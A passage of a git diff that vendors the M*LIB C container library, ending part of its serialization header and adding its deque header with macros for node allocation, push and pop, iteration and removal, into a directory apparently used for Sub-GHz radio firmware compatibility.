+M_IN_SERIAL_DEFAULT_TYPE_DEF(m_core_in_serial_ulong, unsigned long, read_integer, long long)
+M_IN_SERIAL_DEFAULT_TYPE_DEF(m_core_in_serial_sllong, signed long long, read_integer, long long)
+M_IN_SERIAL_DEFAULT_TYPE_DEF(m_core_in_serial_ullong, unsigned long long, read_integer, long long)
+M_IN_SERIAL_DEFAULT_TYPE_DEF(m_core_in_serial_float, float, read_float, long double)
+M_IN_SERIAL_DEFAULT_TYPE_DEF(m_core_in_serial_double, double, read_float, long double)
+M_IN_SERIAL_DEFAULT_TYPE_DEF(m_core_in_serial_ldouble, long double, read_float, long double)
+
+/* Helper function for M_ENUM_IN_SERIAL */
+M_INLINE long long
+m_core_in_serial_enum(m_serial_read_t serial)
+{
+  long long i;
+  /* Store the return code temporary in the serialize object */
+  serial->tmp.r = serial->m_interface->read_integer(serial, &i, sizeof (long long));
+  return i;
+}
+
+/* Encapsulation of strlen to avoid warnings in M_OUT_SERIAL_DEFAULT_ARG
+ * because of expanded code will call strlen with NULL (which is illegal)
+ * However, the branch where it is called is unreachable, so the warning
+ * is not justified. */
+M_INLINE size_t
+m_core_out_serial_strlen(const char s[])
+{
+  M_ASSERT(s != NULL);
+  return strlen(s);
+}
+
+/* Encapsulation of returning error,
+ * A serializer should return 'm_core_serial_fail()' instead of directly
+ * M_SERIAL_FAIL 
+ * so that a breakpoint can be put on this function for debugging purpose.
+ */
+M_INLINE m_serial_return_code_t
+m_core_serial_fail(void)
+{
+  return M_SERIAL_FAIL;
+}
+
+M_END_PROTECTED_CODE
+
+#endif
diff --git a/lib/subghz_unleashed_compat/include/mlib/m-deque.h b/lib/subghz_unleashed_compat/include/mlib/m-deque.h
new file mode 100644
index 000000000..f491b7b4d
--- /dev/null
+++ b/lib/subghz_unleashed_compat/include/mlib/m-deque.h
@@ -0,0 +1,1154 @@
+/*
+ * M*LIB - DEQUE module
+ *
+ * Copyright (c) 2017-2026, Patrick Pelissier
+ * All rights reserved.
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ * + Redistributions of source code must retain the above copyright
+ *   notice, this list of conditions and the following disclaimer.
+ * + Redistributions in binary form must reproduce the above copyright
+ *   notice, this list of conditions and the following disclaimer in the
+ *   documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+ * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE REGENTS AND CONTRIBUTORS BE LIABLE FOR ANY
+ * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+ * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
+ * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
+ * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+*/
+#ifndef MSTARLIB_DEQUE_H
+#define MSTARLIB_DEQUE_H
+
+#include "m-i-list.h"
+
+/* Define a deque of a given type and its associated functions.
+   USAGE: DEQUE_DEF(name, type [, oplist_of_the_type]) */
+#define M_DEQUE_DEF(name, ...)                                                \
+  M_DEQUE_DEF_AS(name, M_F(name,_t), M_F(name,_it_t), __VA_ARGS__)
+
+
+/* Define a deque of a given type and its associated functions.
+   as the provided type name_t with the iterator named it_t.
+   USAGE: DEQUE_DEF(name, name_t, it_t, type [, oplist_of_the_type]) */
+#define M_DEQUE_DEF_AS(name, name_t, it_t, ...)                               \
+  M_BEGIN_PROTECTED_CODE                                                      \
+  M_D3QU3_DEF_P1(M_IF_NARGS_EQ1(__VA_ARGS__)                                  \
+                ((name, __VA_ARGS__, M_GLOBAL_OPLIST_OR_DEF(__VA_ARGS__)(), name_t, it_t, M_F(name, _node_ct) ), \
+                 (name, __VA_ARGS__,                                        name_t, it_t, M_F(name, _node_ct)))) \
+  M_END_PROTECTED_CODE
+
+
+/* Define the oplist of a deque of a type.
+   USAGE: DEQUE_OPLIST(name[, oplist of the type]) */
+#define M_DEQUE_OPLIST(...)                                                   \
+  M_D3QU3_OPLIST_P1 (M_IF_NARGS_EQ1(__VA_ARGS__)                              \
+                    ((__VA_ARGS__, M_BASIC_OPLIST),                           \
+                     (__VA_ARGS__ )))
+
+/* Default initial size of a bucket of items */
+#ifndef M_USE_DEQUE_DEFAULT_SIZE
+#define M_USE_DEQUE_DEFAULT_SIZE  8
+#endif
+
+
+/*****************************************************************************/
+/********************************* INTERNAL **********************************/
+/*****************************************************************************/
+
+/* Define the internal contract of a deque */
+#define M_D3QU3_CONTRACT(d) do {                                              \
+    M_ASSERT ((d) != NULL);                                                   \
+    M_ASSERT ((d)->default_size >= M_USE_DEQUE_DEFAULT_SIZE);                 \
+    M_ASSERT ((d)->front->node != NULL);                                      \
+    M_ASSERT ((d)->front->index <= (d)->front->node->size);                   \
+    M_ASSERT ((d)->back->node != NULL);                                       \
+    M_ASSERT ((d)->back->index <= (d)->back->node->size);                     \
+    M_ASSERT ((d)->front->node != (d)->back->node ||                          \
+            (d)->front->index <= (d)->back->index);                           \
+    M_ASSERT ((d)->front->node != (d)->back->node ||                          \
+            (d)->back->index - (d)->front->index == (d)->count);              \
+  } while (0)
+
+/* Deferred evaluation for the deque definition,
+   so that all arguments are evaluated before further expansion */
+#define M_D3QU3_DEF_P1(arg) M_ID( M_D3QU3_DEF_P2 arg )
+
+/* Validate the oplist before going further */
+#define M_D3QU3_DEF_P2(name, type, oplist, deque_t, it_t, node_t)             \
+  M_IF_OPLIST(oplist)(M_D3QU3_DEF_P3, M_D3QU3_DEF_FAILURE)(name, type, oplist, deque_t, it_t, node_t)
+
+/* Stop processing with a compilation failure */
+#define M_D3QU3_DEF_FAILURE(name, type, oplist, deque_t, it_t, node_t)        \
+  M_STATIC_FAILURE(M_LIB_NOT_AN_OPLIST, "(DEQUE_DEF): the given argument is not a valid oplist: " #oplist)
+
+/* Internal deque definition
+   - name: prefix to be used
+   - type: type of the elements of the deque
+   - oplist: oplist of the type of the elements of the container
+   - deque_t: alias for M_F(name, _t) [ type of the container ]
+   - it_t: alias for M_F(name, _it_t) [ iterator of the container ]
+   - node_t: alias for node_t [ node ]
+ */
+#define M_D3QU3_DEF_P3(name, type, oplist, deque_t, it_t, node_t)             \
+  M_D3QU3_DEF_TYPE(name, type, oplist, deque_t, it_t, node_t)                 \
+  M_CHECK_COMPATIBLE_OPLIST(name, 1, type, oplist)                            \
+  M_D3QU3_DEF_CORE(name, type, oplist, deque_t, it_t, node_t)                 \
+  M_EMPLACE_QUEUE_DEF(name, deque_t, _emplace_back, oplist, M_D3QUE_EMPLACE_BACK_DEF) \
+  M_EMPLACE_QUEUE_DEF(name, deque_t, _emplace_front, oplist, M_D3QUE_EMPLACE_FRONT_DEF)
+
+// OPLIST for the node deletion
+#ifdef M_USE_CONTEXT
+#define M_D3QU3_NODE_DEL_OPLIST(name) (DEL(M_F(name, _node_list_i_del)))
+#else
+#define M_D3QU3_NODE_DEL_OPLIST(name) (DEL(API(M_F(name, _node_list_i_del), NONE, ARG2)))
+#endif
+
+/* Define the types.
+   It is a linked list of buckets of the types,
+   each new created bucket size grows compared to the previous one
+   resulting in:
+   strict O(1) for push/pop
+   O(ln(n)) for random access.
+   No insert / delete operations are planned.
+   [Could be done in O(n) complexity if needed]
+   Define the bucket (aka node) structure.
+*/
+#define M_D3QU3_DEF_TYPE(name, type, oplist, deque_t, it_t, node_t)           \
+                                                                              \
+  typedef struct M_F(name, _node_s) {                                         \
+    M_ILIST_INTERFACE(M_F(name, _node_list), struct M_F(name, _node_s));      \
+    size_t size, capacity;                                                    \
+    type  data[M_MIN_FLEX_ARRAY_SIZE];                                        \
+  } node_t;                                                                   \
+                                                                              \
+  /* Each node is allocated with a variable size bucket (so we use            \
+     M_GET_REALLOC for the allocation). But we want to delete the nodes       \
+     automatically with the intrusive list used for storing the nodes:        \
+     so we register as a DEL operator the FREE operator of the oplist.        \
+  */                                                                          \
+  /* FIXME: How can I separate public types and private implementation? */    \
+  M_P(void, name, _node_list_i_del, node_t *ptr)                              \
+  {                                                                           \
+    M_CALL_FREE(oplist, char, ptr, sizeof(node_t) + ptr->capacity * sizeof(type)); \
+  }                                                                           \
+  M_ILIST_DEF(M_F(name, _node_list), node_t, M_D3QU3_NODE_DEL_OPLIST(name) )  \
+                                                                              \
+  /* Define an internal iterator */                                           \
+  typedef struct M_F(name, _it2_s) {                                          \
+    node_t *node;                                                             \
+    size_t        index;                                                      \
+  } M_F(name, _it2_ct)[1];                                                    \
+                                                                              \
+  /* Define the deque type:                                                   \
+     - 'list' if the list of buckets containing the objects.                  \
+     - 'front' is a pseudo-iterator to the first                              \
+     - 'back' is a pseudo-iterator to the one after last element              \
+     - 'default_size' is the size used for the creation of a new bucket       \
+     - 'count' is the number of elements in the container.                    \
+  */                                                                          \
+  typedef struct M_F(name, _s) {                                              \
+    M_F(name, _node_list_t) list;                                             \
+    M_F(name, _it2_ct)      front;                                            \
+    M_F(name, _it2_ct)      back;                                             \
+    size_t                  default_size;                                     \
+    size_t                  count;                                            \
+  } deque_t[1];                                                               \
+                                                                              \
+  /* Define pointer alias */                                                  \
+  typedef struct M_F(name, _s) *M_F(name, _ptr);                              \
+  typedef const struct M_F(name, _s) *M_F(name, _srcptr);                     \
+                                                                              \
+  /* Define the iterator object */                                            \
+  typedef struct M_F(name, _it_s) {                                           \
+    node_t *node;                                                             \
+    size_t        index;                                                      \
+    const struct M_F(name, _s) *deque;                                        \
+  } it_t[1];                                                                  \
+                                                                              \
+  /* Define internal types for oplist */                                      \
+  typedef deque_t M_F(name, _ct);                                             \
+  typedef type    M_F(name, _subtype_ct);                                     \
+  typedef it_t    M_F(name, _it_ct);                                          \
+
+/* Define the core functions */
+#define M_D3QU3_DEF_CORE(name, type, oplist, deque_t, it_t, node_t)           \
+                                                                              \
+  /* Allocate a new node for a deque */                                       \
+  M_P(node_t*, name, _i_new_node, deque_t d)                                  \
+  {                                                                           \
+    size_t def = d->default_size;                                             \
+    /* Test for overflow of the size computation */                           \
+    if (M_UNLIKELY_NOMEM (def > SIZE_MAX / sizeof (type) - sizeof(node_t))) { \
+      M_MEMORY_FULL(char, sizeof(node_t)+def * sizeof(type));                 \
+    }                                                                         \
+    /* Alloc a new node with dynamic size */                                  \
+    node_t*n = (node_t*) (void*)                                              \
+      M_CALL_REALLOC(oplist, char, NULL, 0, sizeof(node_t) + def * sizeof(type) ); \
+    if (M_UNLIKELY_NOMEM (n==NULL)) {                                         \
+      M_MEMORY_FULL(char, sizeof(node_t)+def * sizeof(type));                 \
+    }                                                                         \
+    /* Initialize the node */                                                 \
+    n->size = def;                                                            \
+    n->capacity = def;                                                        \
+    M_F(name, _node_list_init_field)(n);                                      \
+    /* Increase the next bucket allocation */                                 \
+    /* Do not increase it too much if there are few items */                  \
+    def = M_MIN(def, d->count);                                               \
+    d->default_size = M_CALL_INC_ALLOC(oplist, def);                          \
+    /* FIXME: Check for overflow? */                                          \
+    return n;                                                                 \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _init, deque_t d)                                           \
+  {                                                                           \
+    M_F(name, _node_list_init)(d->list);                                      \
+    d->default_size = M_USE_DEQUE_DEFAULT_SIZE;                               \
+    d->count        = 0;                                                      \
+    node_t *n = M_F(name,_i_new_node)M_R(d);                                  \
+    M_F(name, _node_list_push_back)(d->list, n);                              \
+    d->front->node  = n;                                                      \
+    d->front->index = M_USE_DEQUE_DEFAULT_SIZE/2;                             \
+    d->back->node   = n;                                                      \
+    d->back->index  = M_USE_DEQUE_DEFAULT_SIZE/2;                             \
+    M_D3QU3_CONTRACT(d);                                                      \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _reset, deque_t d)                                          \
+  {                                                                           \
+    M_D3QU3_CONTRACT(d);                                                      \
+    M_UNUSED_CONTEXT();                                                       \
+    node_t *min_node = NULL;                                                  \
+    for(node_t *n = d->front->node;                                           \
+        n != NULL ;                                                           \
+        n = (n == d->back->node) ? NULL :                                     \
+          M_F(name, _node_list_next_obj)(d->list, n) ){                       \
+      size_t min = n == d->front->node ? d->front->index : 0;                 \
+      size_t max = n == d->back->node ? d->back->index : n->size;             \
+      for(size_t i = min; i < max; i++) {                                     \
+        M_CALL_CLEAR(oplist, n->data[i]);                                     \
+      }                                                                       \
+      min_node = (min_node == NULL || min_node->size > n->size) ? n : min_node; \
+    }                                                                         \
+    M_ASSERT (min_node != NULL);                                              \
+    d->front->node = min_node;                                                \
+    d->front->index = min_node->size / 2;                                     \
+    d->back->node = min_node;                                                 \
+    d->back->index = min_node->size / 2;                                      \
+    d->count = 0;                                                             \
+    M_D3QU3_CONTRACT(d);                                                      \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _clear, deque_t d)                                          \
+  {                                                                           \
+    M_D3QU3_CONTRACT(d);                                                      \
+    M_F(name, _reset)M_R(d);                                                  \
+    /* We have registered the delete operator to clear all node objects */    \
+    M_F(name, _node_list_clear)M_R(d->list);                                  \
+    /* It is safer to clean some variables to mark d as invalid */            \
+    d->front->node  = NULL;                                                   \
+    d->back->node   = NULL;                                                   \
+    d->count = 0;                                                             \
+  }                                                                           \
+                                                                              \
+  M_P(type *, name, _push_back_raw, deque_t d)                                \
+  {                                                                           \
+    M_D3QU3_CONTRACT(d);                                                      \
+    node_t *n = d->back->node;                                                \
+    size_t index = d->back->index;                                            \
+    if (M_UNLIKELY (n->size <= index)) {                                      \
+      /* Cannot fit in the current node, try to get another allocated node */ \
+      n = M_F(name, _node_list_next_obj)(d->list, n);                         \
+      if (n == NULL) {                                                        \
+        /* No another node exists: allocate a new one */                      \
+        n = M_F(name,_i_new_node)M_R(d);                                      \
+        M_F(name, _node_list_push_back)(d->list, n);                          \
+      }                                                                       \
+      d->back->node = n;                                                      \
+      index = 0;                                                              \
+    }                                                                         \
+    type *ret = &n->data[index];                                              \
+    index++;                                                                  \
+    d->count ++;                                                              \
+    d->back->index = index;                                                   \
+    M_D3QU3_CONTRACT(d);                                                      \
+    return ret;                                                               \
+  }                                                                           \
+                                                                              \
+  M_IF_METHOD(INIT_SET, oplist)(                                              \
+  M_P(void, name, _push_back, deque_t d, type const x)                        \
+  {                                                                           \
+    type *p = M_F(name, _push_back_raw)M_R(d);                                \
+    M_ON_EXCEPTION(d->back->index --, d->count--) {                           \
+      M_CALL_INIT_SET(oplist, *p, x);                                         \
+    }                                                                         \
+  }                                                                           \
+  , /* No INIT_SET */ )                                                       \
+                                                                              \
+  M_IF_METHOD(INIT, oplist)(                                                  \
+  M_P(type *, name, _push_back_new, deque_t d)                                \
+  {                                                                           \
+    type *p = M_F(name, _push_back_raw)M_R(d);                                \
+    M_ON_EXCEPTION(d->back->index --, d->count--) {                           \
+      M_CALL_INIT(oplist, *p);                                                \
+    }                                                                         \
+    return p;                                                                 \
+  }                                                                           \
+  , /* No INIT */)                                                            \
+                                                                              \
+  M_P(void, name, _push_back_move, deque_t d, type *x)                        \
+  {                                                                           \
+    M_ASSERT (x != NULL);                                                     \
+    type *p = M_F(name, _push_back_raw)M_R(d);                                \
+    M_CALL_INIT_MOVE (oplist, *p, *x);                                        \
+  }                                                                           \
+                                                                              \
+  M_P(type *, name, _push_front_raw, deque_t d)                               \
+  {                                                                           \
+    M_D3QU3_CONTRACT(d);                                                      \
+    node_t *n = d->front->node;                                               \
+    size_t index = d->front->index;                                           \
+    index --;                                                                 \
+    /* If overflow */                                                         \
+    if (M_UNLIKELY (n->size <= index)) {                                      \
+      n = M_F(name, _node_list_previous_obj)(d->list, n);                     \
+      if (n == NULL) {                                                        \
+        n = M_F(name,_i_new_node)M_R(d);                                      \
+        M_F(name, _node_list_push_front)(d->list, n);                         \
+      }                                                                       \
+      d->front->node = n;                                                     \
+      index = n->size -1;                                                     \
+    }                                                                         \
+    type *ret = &n->data[index];                                              \
+    d->count ++;                                                              \
+    d->front->index = index;                                                  \
+    M_D3QU3_CONTRACT(d);                                                      \
+    return ret;                                                               \
+  }                                                                           \
+                                                                              \
+  M_IF_METHOD(INIT_SET, oplist)(                                              \
+  M_P(void, name, _push_front, deque_t d, type const x)                       \
+  {                                                                           \
+    type *p = M_F(name, _push_front_raw)M_R(d);                               \
+    M_ON_EXCEPTION(d->front->index ++, d->count--) {                          \
+      M_CALL_INIT_SET(oplist, *p, x);                                         \
+    }                                                                         \
+  }                                                                           \
+  , /* No INIT_SET */ )                                                       \
+                                                                              \
+  M_IF_METHOD(INIT, oplist)(                                                  \
+  M_P(type *, name, _push_front_new, deque_t d)                               \
+  {                                                                           \
+    type *p = M_F(name, _push_front_raw)M_R(d);                               \
+    M_ON_EXCEPTION(d->front->index ++, d->count--) {                          \
+      M_CALL_INIT(oplist, *p);                                                \
+    }                                                                         \
+    return p;                                                                 \
+  }                                                                           \
+  ,)                                                                          \
+                                                                              \
+  M_P(void, name, _push_front_move, deque_t d, type *x)                       \
+  {                                                                           \
+    M_ASSERT (x != NULL);                                                     \
+    type *p = M_F(name, _push_front_raw)M_R(d);                               \
+    M_CALL_INIT_MOVE (oplist, *p, *x);                                        \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _pop_back, type *ptr, deque_t d)                            \
+  {                                                                           \
+    M_D3QU3_CONTRACT(d);                                                      \
+    M_ASSERT(d->count > 0);                                                   \
+    M_UNUSED_CONTEXT();                                                       \
+    node_t *n = d->back->node;                                                \
+    size_t index = d->back->index;                                            \
+    index --;                                                                 \
+    if (M_UNLIKELY (n->size <= index)) {                                      \
+      /* If there is a next node,                                             \
+         pop the back node and push it back to the front. This                \
+         reduce the used memory if the deque is used as a FIFO queue.*/       \
+      node_t *next = M_F(name, _node_list_next_obj)(d->list, n);              \
+      if (next != NULL) {                                                     \
+        next = M_F(name, _node_list_pop_back)(d->list);                       \
+        M_ASSERT (next != n);                                                 \
+        M_F(name, _node_list_push_front)(d->list, next);                      \
+      }                                                                       \
+      n = M_F(name, _node_list_previous_obj)(d->list, n);                     \
+      M_ASSERT (n != NULL && n->size > 1);                                    \
+      d->back->node = n;                                                      \
+      index = n->size-1;                                                      \
+    }                                                                         \
+    if (ptr != NULL)                                                          \
+      M_DO_MOVE(oplist, *ptr, n->data[index]);                                \
+    else                                                                      \
+      M_CALL_CLEAR(oplist,  n->data[index]);                                  \
+    d->count --;                                                              \
+    d->back->index = index;                                                   \
+    M_D3QU3_CONTRACT(d);                                                      \
+  }                                                                           \
+                                                                              \
+  M_IF_METHOD(INIT, oplist)(                                                  \
+  M_P(void, name, _pop_back_move, type *ptr, deque_t d)                       \
+  {                                                                           \
+    M_ASSERT(ptr != NULL);                                                    \
+    /* Note: Lazy implementation. Can be improved if needed */                \
+    M_CALL_INIT(oplist, *ptr);                                                \
+    M_F(name, _pop_back)M_R(ptr, d);                                          \
+  }                                                                           \
+  , )                                                                         \
+                                                                              \
+  M_P(void, name, _pop_front, type *ptr, deque_t d)                           \
+  {                                                                           \
+    M_D3QU3_CONTRACT(d);                                                      \
+    M_ASSERT(d->count > 0);                                                   \
+    M_UNUSED_CONTEXT();                                                       \
+    node_t *n = d->front->node;                                               \
+    size_t index = d->front->index;                                           \
+    if (ptr != NULL)                                                          \
+      M_DO_MOVE(oplist, *ptr, n->data[index]);                                \
+    else                                                                      \
+      M_CALL_CLEAR(oplist, n->data[index]);                                   \
+    index++;                                                                  \
+    if (M_UNLIKELY (n->size <= index)) {                                      \
+      /* If there is a previous node,                                         \
+         pop the front node and push it back to the back. This                \
+         recycles the used memory if the deque is used as a FIFO queue.*/     \
+      node_t *prev = M_F(name, _node_list_previous_obj)(d->list, n);          \
+      if (prev != NULL) {                                                     \
+        prev = M_F(name, _node_list_pop_front)(d->list);                      \
+        M_ASSERT (prev != n);                                                 \
+        M_F(name, _node_list_push_back)(d->list, prev);                       \
+      }                                                                       \
+      /* Update front iterator to point to the next object */                 \
+      n = M_F(name, _node_list_next_obj)(d->list, n);                         \
+      if (M_UNLIKELY(n == NULL)) {                                            \
+        /* No next obj.                                                       \
+           It is only possible if there was only 1 element */                 \
+        M_ASSERT(d->count == 1);                                              \
+        /* Reset the deque to the middle of the current node */               \
+        d->back->node = d->front->node;                                       \
+        index = d->front->node->size/2;                                       \
+        d->back->index = d->front->node->size/2;                              \
+      } else {                                                                \
+        d->front->node = n;                                                   \
+        index = 0;                                                            \
+      }                                                                       \
+    }                                                                         \
+    d->count --;                                                              \
+    d->front->index = index;                                                  \
+    M_D3QU3_CONTRACT(d);                                                      \
+  }                                                                           \
+                                                                              \
+  M_IF_METHOD(INIT, oplist)(                                                  \
+  M_P(void, name, _pop_front_move, type *ptr, deque_t d)                      \
+  {                                                                           \
+    M_ASSERT(ptr != NULL);                                                    \
+    /* Note: Lazy implementation */                                           \
+    M_CALL_INIT(oplist, *ptr);                                                \
+    M_F(name, _pop_front)M_R(ptr, d);                                         \
+  }                                                                           \
+  ,)                                                                          \
+                                                                              \
+  M_INLINE type *                                                             \
+  M_F(name, _back)(const deque_t d)                                           \
+  {                                                                           \
+    M_D3QU3_CONTRACT(d);                                                      \
+    M_ASSERT (d->count > 0);                                                  \
+    size_t i = d->back->index;                                                \
+    node_t *n = d->back->node;                                                \
+    if (M_UNLIKELY (i == 0)) {                                                \
+      n = M_F(name, _node_list_previous_obj)(d->list, n);                     \
+      M_ASSERT (n != NULL);                                                   \
+      i = n->size;                                                            \
+    }                                                                         \
+    return &n->data[i-1];                                                     \
+  }                                                                           \
+                                                                              \
+  M_INLINE type *                                                             \
+  M_F(name, _front)(const deque_t d)                                          \
+  {                                                                           \
+    M_D3QU3_CONTRACT(d);                                                      \
+    M_ASSERT (d->count > 0);                                                  \
+    size_t i = d->front->index;                                               \
+    node_t *n = d->front->node;                                               \
+    return &n->data[i];                                                       \
+  }                                                                           \
+                                                                              \
+  M_INLINE size_t                                                             \
+  M_F(name, _size)(const deque_t d)                                           \
+  {                                                                           \
+    M_D3QU3_CONTRACT(d);                                                      \
+    return d->count;                                                          \
+  }                                                                           \
+                                                                              \
+  M_INLINE size_t                                                             \
+  M_F(name, _capacity_back)(const deque_t v)                                  \
+  {                                                                           \
+    M_D3QU3_CONTRACT(v);                                                      \
+    size_t s = 0;                                                             \
+    for(node_t *n = M_F(name, _node_list_back)(v->list);                      \
+        n != NULL ;                                                           \
+        n = (n == v->back->node) ? NULL :                                     \
+          M_F(name, _node_list_previous_obj)(v->list, n) ){                   \
+      s += (n == v->back->node ? v->back->index : n->size);                   \
+    }                                                                         \
+    return s;                                                                 \
+  }                                                                           \
+                                                                              \
+  M_INLINE size_t                                                             \
+  M_F(name, _capacity_front)(const deque_t v)                                 \
+  {                                                                           \
+    M_D3QU3_CONTRACT(v);                                                      \
+    size_t s = 0;                                                             \
+    for(node_t *n = M_F(name, _node_list_front)(v->list);                     \
+        n != NULL ;                                                           \
+        n = (n == v->front->node) ? NULL :                                    \
+          M_F(name, _node_list_next_obj)(v->list, n) ){                       \
+      s += n->size - (n == v->front->node ? v->front->index : 0);             \
+    }                                                                         \
+    return s;                                                                 \
+  }                                                                           \
+                                                                              \
+  M_INLINE size_t                                                             \
+  M_F(name, _capacity)(const deque_t v)                                       \
+  {                                                                           \
+    return M_F(name, _capacity_back)(v)+M_F(name, _capacity_front)(v);        \
+  }                                                                           \
+                                                                              \
+  M_INLINE bool                                                               \
+  M_F(name, _empty_p)(const deque_t d)                                        \
+  {                                                                           \
+    M_D3QU3_CONTRACT(d);                                                      \
+    return d->count == 0;                                                     \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _it)(it_t it, const deque_t d)                                    \
+  {                                                                           \
+    M_D3QU3_CONTRACT(d);                                                      \
+    M_ASSERT (it != NULL);                                                    \
+    it->node  = d->front->node;                                               \
+    it->index = d->front->index;                                              \
+    it->deque = d;                                                            \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _it_last)(it_t it, const deque_t d)                               \
+  {                                                                           \
+    M_D3QU3_CONTRACT(d);                                                      \
+    M_ASSERT (it != NULL);                                                    \
+    it->node  = d->back->node;                                                \
+    it->index = d->back->index - 1;                                           \
+    it->deque = d;                                                            \
+    if (M_UNLIKELY (it->index >= it->node->size)) {                           \
+      it->node = M_F(name, _node_list_previous_obj)(d->list, it->node);       \
+      M_ASSERT (it->node != NULL && it->node->size > 1);                      \
+      it->index = it->node->size-1;                                           \
+    }                                                                         \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _it_end)(it_t it, const deque_t d)                                \
+  {                                                                           \
+    M_D3QU3_CONTRACT(d);                                                      \
+    M_ASSERT (it != NULL);                                                    \
+    it->node  = d->back->node;                                                \
+    it->index = d->back->index;                                               \
+    it->deque = d;                                                            \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _it_set)(it_t it1, const it_t it2)                                \
+  {                                                                           \
+    M_ASSERT (it1 != NULL);                                                   \
+    M_ASSERT (it2 != NULL);                                                   \
+    it1->node  = it2->node;                                                   \
+    it1->index = it2->index;                                                  \
+    it1->deque = it2->deque;                                                  \
+  }                                                                           \
+                                                                              \
+  M_INLINE bool                                                               \
+  M_F(name, _end_p)(const it_t it)                                            \
+  {                                                                           \
+    M_ASSERT (it != NULL);                                                    \
+    return (it->node == it->deque->back->node                                 \
+            && it->index >= it->deque->back->index)                           \
+      || (it->node == it->deque->front->node                                  \
+          && it->index < it->deque->front->index);                            \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _next)(it_t it)                                                   \
+  {                                                                           \
+    M_ASSERT (it != NULL);                                                    \
+    node_t *n = it->node;                                                     \
+    it->index ++;                                                             \
+    if (M_UNLIKELY (it->index >= n->size)) {                                  \
+      n = M_F(name, _node_list_next_obj)(it->deque->list, n);                 \
+      if (M_UNLIKELY (n == NULL || it->node == it->deque->back->node)) {      \
+        /* Point to 'end' (can't undo it) */                                  \
+        it->node  = it->deque->back->node;                                    \
+        it->index = it->deque->back->node->size;                              \
+        return;                                                               \
+      }                                                                       \
+      it->node = n;                                                           \
+      it->index = 0;                                                          \
+    }                                                                         \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _previous)(it_t it)                                               \
+  {                                                                           \
+    M_ASSERT (it != NULL);                                                    \
+    node_t *n = it->node;                                                     \
+    it->index --;                                                             \
+    if (M_UNLIKELY (it->index >= n->size)) {                                  \
+      n = M_F(name, _node_list_previous_obj)(it->deque->list, n);             \
+      if (M_UNLIKELY (n == NULL || it->node == it->deque->front->node)) {     \
+        /* Point to 'end' (can't undo it) */                                  \
+        it->node  = it->deque->back->node;                                    \
+        it->index = it->deque->back->node->size;                              \
+        return;                                                               \
+      }                                                                       \
+      it->node = n;                                                           \
+      it->index = n->size - 1;                                                \
+    }                                                                         \
+  }                                                                           \
+                                                                              \
+  M_INLINE bool                                                               \
+  M_F(name, _last_p)(const it_t it)                                           \
+  {                                                                           \
+    M_ASSERT (it != NULL);                                                    \
+    it_t it2;                                                                 \
+    M_F(name, _it_set)(it2, it);                                              \
+    M_F(name, _next)(it2);                                                    \
+    return M_F(name, _end_p)(it2);                                            \
+  }                                                                           \
+                                                                              \
+  M_INLINE bool                                                               \
+  M_F(name, _it_equal_p)(const it_t it1, const it_t it2)                      \
+  {                                                                           \
+    M_ASSERT (it1 != NULL);                                                   \
+    M_ASSERT (it2 != NULL);                                                   \
+    return it1->deque == it2->deque                                           \
+      && it1->node == it2->node                                               \
+      && it1->index == it2->index;                                            \
+  }                                                                           \
+                                                                              \
+  M_INLINE type *                                                             \
+  M_F(name, _ref)(const it_t it)                                              \
+  {                                                                           \
+    M_ASSERT (it != NULL);                                                    \
+    M_ASSERT (it->index < it->node->size);                                    \
+    return &it->node->data[it->index];                                        \
+  }                                                                           \
+                                                                              \
+  M_INLINE type const *                                                       \
+  M_F(name, _cref)(const it_t it)                                             \
+  {                                                                           \
+    M_ASSERT (it != NULL);                                                    \
+    M_ASSERT (it->index < it->node->size);                                    \
+    return M_CONST_CAST(type, &it->node->data[it->index]);                    \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _remove, deque_t d, it_t it)                                \
+  {                                                                           \
+    M_D3QU3_CONTRACT(d);                                                      \
+    M_ASSERT (it != NULL && it->node != NULL);                                \
+    M_ASSERT (d->count >= 1);                                                 \
+    M_ASSERT_INDEX(it->index, it->node->size);                                \
+                                                                              \
+    node_t *n = it->node;                                                     \
+    M_CALL_CLEAR(oplist, n->data[it->index]);                                 \
+    if (n == d->back->node) {                                                 \
+      /* back index points to the element after the end */                    \
+      M_ASSERT (d->back->index != 0);                                         \
+      M_ASSERT (it->index < d->back->index);                                  \
+      /* We cannot have a node deletion in this case */                       \
+      memmove(&n->data[it->index], &n->data[it->index+1],                     \
+              sizeof(type) * (d->back->index - it->index - 1));               \
+      d->back->index --;                                                      \
+      /* The iterator points to the next element */                           \
+    } else if (n == d->front->node) {                                         \
+      /* front index points to the first element */                           \
+      if (M_UNLIKELY (d->front->index == n->size -1)) {                       \
+        /* Node 'smart' deletion (single element) */                          \
+        /* Update front iterator to point to the next object */               \
+        n = M_F(name, _node_list_next_obj)(d->list, n);                       \
+        /* We must have a next element, as we have a different back node      \
